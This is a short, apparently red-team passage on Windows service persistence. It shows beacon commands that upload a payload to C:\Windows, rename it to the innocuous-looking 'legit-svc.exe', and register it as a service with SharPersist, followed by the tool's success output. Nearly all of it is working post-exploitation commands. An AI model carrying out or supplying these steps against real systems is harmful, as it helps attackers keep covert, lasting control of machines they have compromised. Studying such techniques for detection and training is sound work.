Requirements High integrity or SYSTEM As SYSTEM, we can simply create a service to maintain persistence: beacon> cd C:\Windows beacon> upload C:\Payloads\tcp-local_x64.svc.exe beacon> mv tcp-local_x64.svc.exe legit-svc.exe beacon> execute-assembly C:\Tools\SharPersist\SharPersist\bin\Release\SharPersist.exe -t service -c "C:\Windows\legit-svc.exe" -n "legit-svc" -m add [*] INFO: Adding service persistence [*] INFO: Command: C:\Windows\legit-svc.exe [*] INFO: Command Args: [*] INFO: Service Name: legit-svc [+] SUCCESS: Service persistence added